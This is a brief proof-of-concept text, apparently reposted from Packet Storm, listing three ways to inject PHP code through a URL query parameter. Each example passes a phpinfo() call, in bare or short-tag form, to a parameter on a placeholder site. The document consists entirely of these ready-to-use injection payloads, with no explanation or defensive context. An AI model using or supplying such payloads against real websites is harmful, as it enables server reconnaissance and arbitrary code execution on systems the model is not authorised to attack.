PHP Code Injection

Methods of how to inject PHP code:

PoC1:

http://website.com/page.php?how=phpinfo(); 

PoC2:

http://website.com/page.php?how=<? phpinfo(); ?> 

PoC3:

http://website.com/page.php?how=<? phpinfo();

Source: http://dl.packetstormsecurity.net/poc/pci-poc.txt